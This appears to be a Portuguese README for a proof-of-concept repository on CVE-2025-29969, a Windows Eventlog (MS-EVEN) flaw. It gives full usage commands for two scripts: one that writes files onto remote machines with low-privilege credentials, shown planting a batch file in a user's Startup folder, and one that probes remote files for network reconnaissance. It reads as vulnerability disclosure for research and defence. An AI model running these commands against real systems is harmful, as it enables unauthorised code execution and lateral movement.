EventLogin-CVE-2025-29969

EventLogin - CVE-2025-29969

EventLogin é uma vulnerabilidade de tempo de verificação e tempo de uso (TOCTOU) no protocolo MS-EVEN. A vulnerabilidade permite que usuários com baixos privilégios escrevam arquivos arbitrários em uma máquina remota, efetivamente contornando a necessidade de uma conta de Administrador para uma gravação remota.

Existem dois scripts neste repositório: um que explora a vulnerabilidade (write_file_remotely.py) e outro que utiliza uma das primitivas da vulnerabilidade para verificar se um arquivo remoto existe ou não, como um usuário de baixo privilégio, o que é útil, por exemplo, para ver programas instalados em outros computadores do domínio.

Você pode ler a análise completa aqui:

EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows

Uso do write_file_remotely

Primeiro, crie um compartilhamento SMB usando o impacket:

impacket-smbserver -smb2support Share /tmp/safebreach

Nota: o script usa o nome de compartilhamento fixo 'Share', modifique se necessário.

Em seguida, execute o script write_file_remotely.py e inclua todos os parâmetros necessários:

1. ip_to_attack - O IP da máquina remota.
2. smb_server_ip - O IP da máquina onde você abriu o compartilhamento, pode ser a máquina atacante.
3. username and password - As credenciais da conta de baixo privilégio.
4. valid_evtx_file_path - Um caminho para um arquivo EVTX válido que você armazena no mesmo compartilhamento que abriu anteriormente.
5. local_file_path - O arquivo que você deseja enviar.
6. remote_file_path - O caminho do arquivo remoto para onde deseja enviar.

Exemplo:

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"

Uso do check_if_exists

Este script não utiliza a vulnerabilidade em si, ele usa apenas a primitiva "CreateFile" e pode ajudar a reconhecer a rede. Por exemplo, o diretório Program Files de uma máquina remota em um domínio é acessível a todo o grupo 'Users', o que significa que usando credenciais de QUALQUER usuário você pode verificar se um arquivo existe ou não em outra máquina.

Ele aceita os seguintes parâmetros:

1. ip_to_attack - IP para reconhecimento
2. username - nome de usuário e senha do usuário de domínio.
3. filepath_to_check - um arquivo para verificar

Por exemplo, veja se o wireshark está instalado no DC (192.168.56.57) usando um usuário de baixo privilégio.

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY